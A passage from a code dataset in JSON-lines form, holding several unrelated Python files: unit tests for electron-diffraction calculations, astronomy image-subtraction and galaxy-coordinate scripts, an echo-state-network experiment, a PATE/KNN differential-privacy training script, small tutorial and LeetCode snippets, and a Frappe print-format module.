np.testing.assert_allclose(bonds, bonds_desired) # does not work in python 3.6, why?\n\n def test_metric_tensor(self):\n # Todo: better testing\n np.testing.assert_allclose(ks.metric_tensor(np.identity(3)), np.identity(3))\n\n def test_vector_norm(self):\n g = [[2, 3, 4], [4, 5, 6]]\n vector_length = ks.vector_norm(g)\n np.testing.assert_allclose(vector_length, np.linalg.norm(g, axis=1))\n\n def test_make_pretty_labels(self):\n labels = ks.make_pretty_labels(np.array([[1, 0, 0], [1, 1, -1]]))\n self.assertEqual(labels[0], '[$\\\\bar {1},0,0} $]')\n self.assertEqual(labels[1], '[$\\\\bar {1},1,\\\\bar {1} $]')\n\n def test_get_wavelength(self):\n wavelength = ks.get_wavelength(200000)\n self.assertEqual(np.round(wavelength * 1000, 3), 2.508)\n wavelength = ks.get_wavelength(60000)\n self.assertEqual(np.round(wavelength * 1000, 3), 4.866)\n\n with self.assertRaises(TypeError):\n ks.get_wavelength('lattice_parameter')\n\n def test_get_rotation_matrix(self):\n matrix, theta, phi = ks.get_rotation_matrix([1, 0, 0])\n self.assertEqual(theta, 90.)\n self.assertEqual(phi, 0.)\n\n matrix, theta, phi = ks.get_rotation_matrix([1, 1, 1])\n matrix_desired = [[0.40824829, -0.70710678, 0.57735027],\n [0.40824829, 0.70710678, 0.57735027],\n [-0.81649658, 0., 0.57735027]]\n np.testing.assert_allclose(matrix, matrix_desired)\n\n def test_check_sanity(self):\n self.assertFalse(ks.check_sanity({}))\n\n tags = ks.example(verbose=False)\n self.assertTrue(ks.check_sanity(tags))\n\n def test_ring_pattern_calculation(self):\n tags = ks.example(verbose=False)\n new_tags = ks.ring_pattern_calculation(tags)\n self.assertTrue('{2 6 4}' in new_tags)\n self.assertAlmostEqual(new_tags['{1 1 1}']['reciprocal_distance'], 3.369748652857738)\n self.assertAlmostEqual(new_tags['{1 1 1}']['real_distance'], 1/3.369748652857738)\n self.assertAlmostEqual(new_tags['{1 1 1}']['F'], 17.53103039316424)\n self.assertEqual(new_tags['{1 1 1}']['multiplicity'], 8)\n\n def test_kinematic_scattering(self):\n tags = ks.example(verbose=False)\n ks.kinematic_scattering(tags)\n self.assertIsInstance(tags['HOLZ'], dict)\n self.assertAlmostEqual(tags['wave_length_nm'], 0.0036695, delta=1e-6)\n\n def test_plotSAED(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.plotSAED(tags)\n\n def test_plotKikuchi(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.plotKikuchi(tags)\n\n def test_plotHOLZ(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.plotHOLZ(tags)\n\n def test_plotCBED(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.plotCBED(tags)\n\n def test_circles(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.circles(tags)\n\n def test_plot_diffraction_pattern(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.plot_diffraction_pattern(tags)\n\n def test_diffraction_pattern(self):\n tags = ks.example(verbose=False)\n\n ks.kinematic_scattering(tags)\n # ks.diffraction_pattern(tags)\n\n def test_feq(self):\n self.assertAlmostEqual(ks.feq('Au', 3.6), 7.43164303450277)\n self.assertAlmostEqual(ks.feq('Si', 12.6), 0.5398190143297035)\n","sub_path":"tests/test_KinsCat.py","file_name":"test_KinsCat.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"111651207","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 20 17:24:29 2018\n\n@author: andrew\n\"\"\"\n\nimport glob\nimport os\nimport shutil\nimport initialize\nfrom intensity_match import int_match_to_template\nfrom astropy.io import fits\nimport sys\nimport numpy as np\n\ndef isis_sub(location):\n x = 0\n images = glob.glob(location + \"/data/*_A_.fits\")\n template = glob.glob(location + \"/templates/*.fits\")\n residuals = glob.glob(location + \"/residuals/*residual_.fits\")\n images_names = [(i.split('/')[-1])[:-5] for i in images]\n res_names = [(r.split('/')[-1])[:-14] for r in residuals]\n resids = [res for res in images_names if res not in res_names]\n ims = []\n for rs in resids:\n ims.append(location+'/data/'+rs+'.fits')\n if ims != []:\n if len(template) == 1:\n ais_loc = os.path.dirname(initialize.__file__) + \"/AIS/package/bin/./mrj_phot\"\n initialize.create_configs(location)\n ais_config_loc = location + '/configs/default_config'\n cwd = os.getcwd()\n psf_data = glob.glob(location + '/psf/*')\n template_mask = fits.getdata(template[0], 1)\n if len(psf_data) == 2*(len(images)+1):\n try:\n os.mkdir(cwd + \"/AIS_temp\")\n except FileExistsError:\n pass\n os.chdir(cwd + \"/AIS_temp\")\n length = len(location) + 5\n print(\"\\n-> Subtracting images...\")\n for i in ims:\n int_match_to_template(location, i, template[0])\n os.system(ais_loc + \" \" + i + \" \" + template[0] + \" -c \" + ais_config_loc)\n os.system(\"mv -f %s/AIS_temp/conv.fits %s/residuals/%sresidual_.fits\" % (cwd, location, i[length:-5]))\n hdu = fits.open(location + '/residuals/' + i[length:-5] + 'residual_.fits', mode='update')\n hdr = hdu[0].header\n hdr.set('OPTIMIZE', 'N')\n hdu.close()\n image_hdu = fits.open((i.replace('residual_', '')).replace('residuals', 'data'))\n image_hduMask = np.logical_or(np.logical_not(image_hdu[1].data), np.logical_not(template_mask)).astype(int)\n image_hdu.close()\n hdu = fits.open(location + '/residuals/' + i[length:-5] + 'residual_.fits')\n data = hdu[0].data\n hdr = hdu[0].header\n hdu.close()\n hduData = fits.PrimaryHDU(data, header=hdr)\n hduMask = fits.ImageHDU(image_hduMask)\n hduList = fits.HDUList([hduData, hduMask])\n hduList.writeto(location + '/residuals/' + i[length:-5] + 'residual_.fits', overwrite=True)\n x += 1\n per = float(x)/float(len(ims)) * 100\n print(\"\\t %.1f%% subtracted...\" % (per))\n else:\n print(\"-> Error: Need PSFs before running subtraction\\n-> Run psf.py first\")\n print(\"-> If any images have been manually removed from the data directory, delete all contents of the psf directory and run OasisPy again\\n\")\n sys.exit()\n else:\n print(\"-> Subtraction failure: Template missing\")\n sys.exit()\n os.chdir(cwd)\n shutil.rmtree(cwd + \"/AIS_temp\")\n else:\n print(\"-> Images have already been subtracted\")","sub_path":"build/lib/OasisPy/subtract_ais.py","file_name":"subtract_ais.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"112379351","text":"# -*- coding: utf-8 -*-\n# Time: 2019/5/13 22:31\n# Author: laugc\n# Email: hahalgc@gmail.com\n# File: py23_module.py\n\n\"\"\"\n模块\n\"\"\"\n\nimport sys\n\n# 类似 __xxx__ 这样的变量是特殊变量,可以被直接引用\n__author__ = 'laugc'\n\n\ndef test():\n # argv 至少有一个元素,因为第一个参数永远是该 .py 文件的名称\n args = sys.argv\n if len(args) == 1:\n print('hello')\n elif len(args) == 2:\n print('yolo, %s' % args[1])\n else:\n print('oops')\n\n\nif __name__ == '__main__':\n test()\n\n\n# 类似 _xxx 和 __xxx 这样的函数或变量就是非公开的「private」,不应该被直接引用\ndef _private_1(name):\n return 'Hello, %s' % name\n\n\ndef _private_2(name):\n return 'Hi, %s' % name\n\n\ndef greeting(name):\n if len(name) > 3:\n return _private_1(name)\n else:\n return _private_2(name)\n","sub_path":"py23_module.py","file_name":"py23_module.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"170539126","text":"from double_gyre_stream_function import * \nfrom ESN import EchoStateNetwork\nimport matplotlib.animation as animation \nimport pickle \n\n\ndt = 0.1\nelapsedTime = 500\ntime_steps = int(np.ceil(elapsedTime/dt))\nxct, yct = 256, 128\n\nsf_ts = getDGsf(dt, elapsedTime, xct, yct)\nxct, yct = np.shape(sf_ts)[0], np.shape(sf_ts)[1]\ndata = sf_ts.copy().transpose(2,0,1).reshape(time_steps,-1)\n\n###################################################################################################\n# initialize ESN to train on stream function time series and predict\nesn = EchoStateNetwork(loaddata=data, trainLen=2000, testLen=2000, initLen=0,\n resSize=2000, partial_know=False, noise=0.01, density=1e-3, \n spectral_radius=1.5, leaking_rate=0.1, input_scaling=0.6, \n ridgeReg=0.1, mute=False)\nesn.train()\nesn.test()\n# esn.plot(length=1000, name='test', show=True)\t\nsf_ts_est = esn.v_.reshape(xct, yct, -1) #x by y by t\nsf_ts_actual = esn.v_tgt_.transpose().reshape(xct, yct, -1) #x by y by t\n\n# plt.figure()\n# plt.imshow(sf_ts_est[:,:,10])\n# # plt.show()\n\n# look at mse and std\n# t_i = np.arange(0,1000)\n# mse = ((sf_ts_est[:,:,t_i] - sf_ts_actual[:,:,t_i])**2).mean(axis=(0,1))\n# amse = (abs(sf_ts_est[:,:,t_i] - sf_ts_actual[:,:,t_i])).mean(axis=(0,1))\n# stde = ((sf_ts_est[:,:,t_i] - sf_ts_actual[:,:,t_i])).std(axis=(0,1))\n\n\n# create animations \nfig = plt.figure()\nax1 = fig.add_subplot(131)\nax2 = fig.add_subplot(132)\nax3 = fig.add_subplot(133)\nims = []\nfor t_i in range(200): \n\tim1 = ax1.imshow(sf_ts_est[:,:,t_i], animated=True)\n\tim2 = ax2.imshow(sf_ts_actual[:,:,t_i], animated=True)\n\tim3 = ax3.imshow(sf_ts_est[:,:,t_i]-sf_ts_actual[:,:,t_i], animated=True)\n\tims.append([im1, im2, im3])\n\nani = animation.ArtistAnimation(fig, ims, interval=50, blit=True, \n\t\t\t\t\t\t\t\trepeat_delay=1000)\n\n\n# FFwriter = animation.FFMpegWriter()\n# ani.save('./results/double_gyre_sf_animation.gif', writer='imagemagick', fps=60)\n\nplt.show()\n\nwith open('./data/dgsf_{0}x{1}_actual'.format(xct, yct), 'wb') as sf_file:\n pickle.dump(sf_ts_actual, sf_file)\n\nwith open('./data/dgsf_{0}x{1}_est'.format(xct, yct), 'wb') as sf_file:\n pickle.dump(sf_ts_est, sf_file)\n\n\n\npdb.set_trace()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"runESN_sf.py","file_name":"runESN_sf.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"513755285","text":"def rotate(matrix):\n n = len(matrix)\n for i in range(n // 2 + n % 2):\n for j in range(n // 2):\n tmp = matrix[n - 1 - j][i]\n matrix[n - 1 - j][i] = matrix[n - 1 - i][n - j - 1]\n matrix[n - 1 - i][n - j - 1] = matrix[j][n - 1 -i]\n matrix[j][n - 1 - i] = matrix[i][j]\n matrix[i][j] = tmp\n\n return matrix\n\n\nmatrix = [[1,2,3],[4,5,6],[7,8,9]]\n# matrix = [[1,2],[3,4]]\nrotate(matrix)\n","sub_path":"leetcode/48.py","file_name":"48.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"502216381","text":"#!usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom flask_script import Manager\nfrom c2 import app\n\nmanager = Manager(app)\n\n\n@manager.option('-n', '--name', dest='name', default='hahaha')\ndef hello(name):\n print('hello' + name)\n\n\n@manager.command\ndef initialize():\n 'initialize database'\n print('database...')\n\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"607850484","text":"import unittest\nimport network_lib\n\n\nclass TestIP(unittest.TestCase):\n def test_internal(self):\n internal_ip = network_lib.ip.get_internal()\n print('Internal IP Address:', internal_ip)\n self.assertTrue(isinstance(internal_ip, str))\n\n def test_external(self):\n external_ipv4 = network_lib.ip.get_external(protocol='v4')\n external_ipv6 = network_lib.ip.get_external(protocol='v6')\n print('External IPv4 Address:', external_ipv4)\n print('External IPv6 Address:', external_ipv6)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_ip.py","file_name":"test_ip.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"567860739","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport deep_cnn\nimport input # pylint: disable=redefined-builtin\nimport metrics\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport pickle\nimport aggregation\nfrom sklearn.decomposition import PCA, KernelPCA\nimport autodp\nfrom autodp import rdp_bank,dp_acct, rdp_acct, privacy_calibrator\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.neighbors import KNeighborsClassifier\ntf.flags.DEFINE_string('dataset', 'svhn', 'The name of the dataset to use')\ntf.flags.DEFINE_integer('nb_labels', 10, 'Number of output classes')\n\ntf.flags.DEFINE_string('data_dir','/tmp','Temporary storage')\ntf.flags.DEFINE_string('train_dir','/tmp/train_dir',\n 'Where model ckpt are saved')\ntf.flags.DEFINE_integer('gau_scale',40,'gaussian noise scale')\ntf.flags.DEFINE_integer('max_steps', 3000, 'Number of training steps to run.')\ntf.flags.DEFINE_integer('nb_teachers', 30, 'Teachers in the ensemble.')\ntf.flags.DEFINE_integer('teacher_id', 0, 'ID of teacher being trained.')\ntf.flags.DEFINE_integer('stdnt_share', 1000,\n 'Student share (last index) of the test data')\ntf.flags.DEFINE_integer('extra', 0,'remove extra samples from training to test')\ntf.flags.DEFINE_bool('pca', True, 'if true then apply pca as preprocessing')\ntf.flags.DEFINE_bool('knn',1,'if 1 then replace dnn with knn')\ntf.flags.DEFINE_bool('vat',False,'whether use vat to lable query, only use after vat')\ntf.flags.DEFINE_boolean('deeper', False, 'Activate deeper CNN model')\n\nFLAGS = tf.flags.FLAGS\nprob = 0.2 # subsample probability for i\nacct = rdp_acct.anaRDPacct()\ndelta = 1e-8\nsigma = FLAGS.gau_scale #gaussian parameter\ngaussian = lambda x: rdp_bank.RDP_gaussian({'sigma':sigma},x)\n\ndef convert_vat(test_data, test_labels,noisy_labels):\n\n log = {}\n log['labeled_train_images'] = test_data[:FLAGS.stdnt_share]\n log['labeled_train_labels'] = noisy_labels\n log['train_images'] = test_data[FLAGS.stdnt_share:-1000]\n log['train_labels'] = test_labels[FLAGS.stdnt_share:-1000]\n #use the remaining 1000 point for test\n log['test_images'] = test_data[:-1000]\n print('test_images.size',log['test_images'].shape)\n log['test_labels'] = test_labels[:-1000]\n file_vat = \"../vat_tf/log/\"+FLAGS.dataset+'_query='+str(FLAGS.stdnt_share)+'.pkl'\n with open(file_vat,'wb') as f:\n pickle.dump(log, f)\n\ndef pca(teacher, student):\n pca = PCA(n_components=60)\n pca.fit(teacher)\n max_component = pca.components_.T\n teacher = np.dot(teacher, max_component)\n student = np.dot(student, max_component)\n return teacher, student\n\ndef prepare_student_data(dataset, nb_teachers, save=False):\n \"\"\"\n Takes a dataset name and the size of the teacher ensemble and prepares\nf training data for the student model, according to parameters indicated\n in flags above.\n :param dataset: string corresponding to mnist, cifar10, or svhn\n :param nb_teachers: number of teachers (in the ensemble) to learn from\n :param save: if set to True, will dump student training labels predicted by\n the ensemble of teachers (with Laplacian noise) as npy files.\n It also dumps the clean votes for each class (without noise) and\n the labels assigned by teachers\n :return: pairs of (data, labels) to be used for student training and testing\n \"\"\"\n assert input.create_dir_if_needed(FLAGS.train_dir)\n\n # Load the dataset\n if dataset == 'svhn':\n train_data, train_labels,test_data, test_labels = input.ld_svhn(extended=True)\n train_data = np.reshape(train_data, [-1, 32 * 32*3])\n test_data = test_data.reshape([-1, 32 * 32*3])\n elif dataset == 'cifar10':\n train_data, train_labels, test_data, test_labels = input.ld_cifar10()\n train_data = np.reshape(train_data, [-1, 32 * 32*3])\n test_data = test_data.reshape([-1, 32 * 32*3])\n elif dataset == 'mnist':\n #test_data, test_labels = input.ld_mnist(test_only=True)\n train_data, train_labels, test_data, test_labels = input.ld_mnist()\n train_data = np.reshape(train_data, [-1, 28 * 28])\n test_data = test_data.reshape([-1, 28 * 28])\n else:\n print(\"Check value of dataset flag\")\n return False\n\n # Make sure there is data leftover to be used as a test set\n \"\"\"\n If FLAGS.extra >0, means we remove the first FLAGS.extra data point from \n private dataset to student dataset. Default train_data is private.\n \n Ori_test_data records the original feature of test data, since we will apply \n PCA later.\n \n iF FLAGS.vat == True, then '..ckpt-2000.py' is the prediction of student queries(A+B) from VAT, (A+B) is defined later\n\n \"\"\"\n\n if FLAGS.extra >0:\n test_data = np.vstack((test_data, train_data[:FLAGS.extra]))\n test_labels = np.concatenate((test_labels,train_labels[:FLAGS.extra]))\n #print('test_label.shape',test_labels.shape)\n train_data = train_data[FLAGS.extra:]\n train_labels = train_labels[FLAGS.extra:]\n #print('train_size {} query_size {}'.format(train_data.shape[0], test_data.shape[0]))\n\n\n ori_test_data = test_data\n\n if FLAGS.vat == True and os.path.exists('record/svhn_model.ckpt-2000.npy'):\n vat_labels = np.load('record/svhn_model.ckpt-2000.npy')\n vat_labels = np.array(vat_labels, dtype=np.int32)\n print('vat_label.shape', vat_labels.shape)\n stdnt_test_data = ori_test_data[-1000:]\n stdnt_test_labels = test_labels[-1000:]\n return ori_test_data[:-1000], vat_labels, stdnt_test_data, stdnt_test_labels\n\n if FLAGS.pca == True:\n train_data, test_data = pca(train_data, test_data)\n\n stdnt_data = test_data[:FLAGS.stdnt_share]\n assert FLAGS.stdnt_share < len(test_data)\n\n \"\"\"\n Compute teacher predictions for student queries\n There is a subsample scheme here, each query will subsample a prob*train_data for KNN, distance is based on Euclidean distance.\n autodp is used track privacy loss(compose_subsample_mechanisms)\n TO privately release every query, we add gaussian noise \n \"\"\"\n num_train = train_data.shape[0]\n teachers_preds = np.zeros([stdnt_data.shape[0],FLAGS.nb_teachers])\n\n for idx in range(len(stdnt_data)):\n if idx %100 ==0:\n print('idx=',idx)\n query_data = stdnt_data[idx]\n select_teacher = np.random.choice(train_data.shape[0],int(prob*num_train))\n dis = np.linalg.norm(train_data[select_teacher]-query_data, axis = 1)\n k_index = select_teacher[np.argsort(dis)[:FLAGS.nb_teachers]]\n teachers_preds[idx] = train_labels[k_index]\n acct.compose_poisson_subsampled_mechanisms(gaussian, prob, coeff=1)\n\n\n #compute privacy loss\n print(\"Composition of student subsampled Gaussian mechanisms gives \", (acct.get_eps(delta), delta))\n teachers_preds = np.asarray(teachers_preds, dtype = np.int32)\n\n\n\n if not save:\n major_vote = aggregation.aggregation_knn(teachers_preds, sigma)\n stdnt_labels = major_vote\n else:\n # Request clean votes and clean labels as well\n stdnt_labels, clean_votes, labels_for_dump = aggregation.aggregation_knn(teachers_preds,sigma, return_clean_votes=True) #NOLINT(long-line)\n\n # Prepare filepath for numpy dump of clean votes\n filepath = FLAGS.data_dir + \"/\" + str(dataset) + '_' + str(nb_teachers) + '_student_clean_votes_gau_' + str(FLAGS.gau_scale) + '.npy' # NOLINT(long-line)\n\n # Prepare filepath for numpy dump of clean labels\n filepath_labels = FLAGS.data_dir + \"/\" + str(dataset) + '_' + str(nb_teachers) + '_teachers_labels_gau_' + str(FLAGS.gau_scale) + '.npy' # NOLINT(long-line)\n\n # Dump clean_votes array\n with tf.gfile.Open(filepath, mode='w') as file_obj:\n np.save(file_obj, clean_votes)\n\n # Dump labels_for_dump array\n with tf.gfile.Open(filepath_labels, mode='w') as file_obj:\n np.save(file_obj, labels_for_dump)\n\n\n ac_ag_labels = metrics.accuracy(stdnt_labels, test_labels[:FLAGS.stdnt_share])\n print(\"Accuracy of the aggregated labels: \" + str(ac_ag_labels))\n\n \"\"\"\n split data point for semi-supervised training (VAT)\n Suppose original test data is SVHN, then split it into 3 part A, B, C\n A has FLAGS.stdnt_share points, which are student queries answered by noisy KNN\n B has test_data[FLAGS.stdnt_share:-1000] data point, which is used as unlabeled feature for VAT\n C has the last 1k point for test\n if don't use VAT, then ignore convert_vat\n \"\"\"\n convert_vat(ori_test_data,test_labels,stdnt_labels)\n\n stdnt_test_data = ori_test_data[-1000:]\n stdnt_test_labels = test_labels[-1000:]\n\n if save:\n # Prepare filepath for numpy dump of labels produced by noisy aggregation\n filepath = FLAGS.data_dir + \"/\" + str(dataset) + '_' + str(nb_teachers) + '_student_labels_lap_' + str(FLAGS.gau_scale) + '.npy' #NOLINT(long-line)\n\n # Dump student noisy labels array\n with tf.gfile.Open(filepath, mode='w') as file_obj:\n np.save(file_obj, stdnt_labels)\n\n return ori_test_data[:FLAGS.stdnt_share], stdnt_labels, stdnt_test_data, stdnt_test_labels\n\n\ndef train_student(dataset, nb_teachers):\n\n \"\"\"\n This function trains a student using predictions made by an ensemble of\n teachers. The student and teacher models are trained using the same\n neural network architecture.\n :param dataset: string corresponding to mnist, cifar10, or svhn\n :param nb_teachers: number of teachers (in the ensemble) to learn from\n :return: True if student training went well\n \"\"\"\n assert input.create_dir_if_needed(FLAGS.train_dir)\n\n # Call helper function to prepare student data using teacher predictions\n stdnt_dataset = prepare_student_data(dataset, nb_teachers, save=True)\n\n # Unpack the student dataset\n stdnt_data, stdnt_labels, stdnt_test_data, stdnt_test_labels = stdnt_dataset\n print('stdnt_test_data.shape',stdnt_test_data.shape)\n if dataset == 'cifar10':\n stdnt_data = stdnt_data.reshape([-1,32,32,3])\n stdnt_test_data = stdnt_test_data.reshape([-1,32,32,3])\n elif dataset == 'mnist':\n stdnt_data = stdnt_data.reshape([-1, 28,28,1])\n stdnt_test_data = stdnt_test_data.reshape([-1, 28,28,1])\n elif dataset == 'svhn':\n stdnt_data = stdnt_data.reshape([-1,32,32,3])\n stdnt_test_data = stdnt_test_data.reshape([-1, 32,32,3])\n # Prepare checkpoint filename and path\n if FLAGS.deeper:\n ckpt_path = FLAGS.train_dir + '/' + str(dataset) + '_' + str(nb_teachers) + '_student_deeper.ckpt' #NOLINT(long-line)\n else:\n ckpt_path = FLAGS.train_dir + '/' + str(dataset) + '_' + str(nb_teachers) + '_student.ckpt' # NOLINT(long-line)\n\n # Start student training\n assert deep_cnn.train(stdnt_data, stdnt_labels, ckpt_path)\n\n # Compute final checkpoint name for student (with max number of steps)\n ckpt_path_final = ckpt_path + '-' + str(FLAGS.max_steps - 1)\n\n # Compute student label predictions on remaining chunk of test set\n student_preds = deep_cnn.softmax_preds(stdnt_test_data, ckpt_path_final)\n\n # Compute teacher accuracy\n precision = metrics.accuracy(student_preds, stdnt_test_labels)\n print('Precision of student after training: ' + str(precision))\n\n return True\n\ndef main(argv=None):\n\n train_student(FLAGS.dataset, FLAGS.nb_teachers)\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"pate_2017/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":11765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"609625162","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 30 12:12:10 2018\n\nFor getting info about satellites w/in r_max of each central gal\n\n@author: marianeuzil\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport sys\nsys.path.append('/Users/marianeuzil/Desktop/REU/REU_Chicago/Library')\n\nimport functions as FN\n\ndef main():\n center = 'Milky Way'\n r_max = 5\n \n x,y,z,mag,vec = get_info(center,r_max)\n \n print(len(mag[mag<-21]))\n# for v in vec:\n# print(v[0])\n# print('\\n')\n# for q in x:\n# print(q)\n \n# print(np.concatenate((x[:,None],y[:,None],z[:,None]),axis=1))\n# # Plotting in 3D\n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection='3d')\n#\n# ax.set_xlabel('X (Mpc)')\n# ax.set_ylabel('Y (Mpc)')\n# ax.set_zlabel('Z (Mpc)')\n#\n# ax.set_xlim(-r_max, +r_max)\n# ax.set_ylim(-r_max, +r_max)\n# ax.set_zlim(-r_max, +r_max)\n#\n# ax.scatter(x, y, z, c=\"b\", marker=\"o\",depthshade=False)\n\ndef get_info(center,r_max):\n \"\"\"Gets the coordinates, centered on center, of satellites within \n r_max of center\n \"\"\"\n FILENAME = (r'/Users/marianeuzil/Desktop/REU/REU_Chicago/Data/Catalogs/'\n 'NearbyGalaxies2018.txt')\n \n # Read/calculate coordinates\n names,RA,dec,Dist,absBMag,RVel,method = FN.read_Karachentsev18(FILENAME)\n x, y, z = FN.eq2000_to_supergal(RA, dec, Dist)\n \n # MW vec\n MW_loc = names=='Milky Way'\n center_loc = names==center\n vec = np.array([x[center_loc]-x[MW_loc],y[center_loc]-y[MW_loc],\n z[center_loc]-z[MW_loc]])\n \n # Center on galaxy of interest\n x,y,z = FN.center_by_name(x,y,z,center)\n\n # Make cuts on galaxy population\n r = np.sqrt(x*x + y*y + z*z)\n in_range = np.less(r,r_max)\n \n x = x[in_range]\n y = y[in_range]\n z = z[in_range]\n mag = absBMag[in_range]\n \n return x,y,z,mag,vec\n\nif __name__==\"__main__\":\n main()","sub_path":"LV_retrieval.py","file_name":"LV_retrieval.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"603451835","text":"# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd.\n# MIT License. See license.txt \n\nfrom __future__ import unicode_literals\nimport webnotes, conf, os\nimport webnotes.utils\nfrom webnotes.utils import get_base_path\nfrom webnotes.modules import get_doc_path\n\nclass DocType:\n\tdef __init__(self, d, dl):\n\t\tself.doc, self.doclist = d,dl\n\n\tdef validate(self):\n\t\tif self.doc.standard==\"Yes\" and webnotes.session.user != \"Administrator\":\n\t\t\twebnotes.msgprint(\"Standard Print Format cannot be updated.\", raise_exception=1)\n\t\t\n\t\t# old_doc_type is required for clearing item cache\n\t\tself.old_doc_type = webnotes.conn.get_value('Print Format',\n\t\t\t\tself.doc.name, 'doc_type')\n\n\tdef on_update(self):\n\t\tif hasattr(self, 'old_doc_type') and self.old_doc_type:\n\t\t\twebnotes.clear_cache(doctype=self.old_doc_type)\t\t\n\t\tif self.doc.doc_type:\n\t\t\twebnotes.clear_cache(doctype=self.doc.doc_type)\n\n\t\tself.export_doc()\n\t\n\tdef export_doc(self):\n\t\t# export\n\t\tif self.doc.standard == 'Yes' and getattr(conf, 'developer_mode', 0) == 1:\n\t\t\tfrom webnotes.modules.export_file import export_to_files\n\t\t\texport_to_files(record_list=[['Print Format', self.doc.name]], \n\t\t\t\trecord_module=self.doc.module)\t\n\t\n\tdef on_trash(self):\n\t\tif self.doc.doc_type:\n\t\t\twebnotes.clear_cache(doctype=self.doc.doc_type)\n\ndef get_args():\n\tif not webnotes.form_dict.doctype or not webnotes.form_dict.name \\\n\t\tor not webnotes.form_dict.format:\n\t\treturn {\n\t\t\t\"body\": \"\"\"

Error

\n\t\t\t\t

Parameters doctype, name and format required

\n\t\t\t\t
%s
\"\"\" % repr(webnotes.form_dict)\n\t\t}\n\t\t\n\tbean = webnotes.bean(webnotes.form_dict.doctype, webnotes.form_dict.name)\n\tif not bean.has_read_perm():\n\t\treturn {\n\t\t\t\"body\": \"\"\"

Error

\n\t\t\t\t

No read permission

\"\"\"\n\t\t}\n\t\n\treturn {\n\t\t\"body\": get_html(bean.doc, bean.doclist),\n\t\t\"css\": get_print_style(webnotes.form_dict.style),\n\t\t\"comment\": webnotes.session.user\n\t}\n\ndef get_html(doc, doclist):\n\tfrom jinja2 import Environment\n\tfrom core.doctype.print_format.print_format import get_print_format\n\n\ttemplate = Environment().from_string(get_print_format(doc.doctype, \n\t\twebnotes.form_dict.format))\n\tdoctype = webnotes.get_doctype(doc.doctype)\n\t\n\targs = {\n\t\t\"doc\": doc,\n\t\t\"doclist\": doclist,\n\t\t\"doctype\": doctype,\n\t\t\"webnotes\": webnotes,\n\t\t\"utils\": webnotes.utils\n\t}\n\thtml = template.render(args)\n\treturn html\n\ndef get_print_format(doctype, format):\n\t# server, find template\n\tpath = os.path.join(get_doc_path(webnotes.conn.get_value(\"DocType\", doctype, \"module\"), \n\t\t\"Print Format\", format), format + \".html\")\n\tif os.path.exists(path):\n\t\twith open(path, \"r\") as pffile:\n\t\t\treturn pffile.read()\n\telse:\n\t\thtml = webnotes.conn.get_value(\"Print Format\", format, \"html\")\n\t\tif html:\n\t\t\treturn html\n\t\telse:\n\t\t\treturn \"No template found.\\npath: \" + path\n\ndef get_print_style(style=None):\n\tif not style:\n\t\tstyle = webnotes.conn.get_default(\"print_style\") or \"Standard\"\n\tpath = os.path.join(get_doc_path(\"Core\", \"DocType\", \"Print Format\"), \"styles\", \n\t\tstyle.lower() + \".css\")\n\tif not os.path.exists(path):\n\t\tif style!=\"Standard\":\n\t\t\treturn get_print_style(\"Standard\")\n\t\telse:\n\t\t\treturn \"/* Standard Style Missing ?? */\"\n\telse:\n\t\twith open(path, 'r') as sfile:\n\t\t\treturn sfile.read() + \"\"\" \\* test *\\ 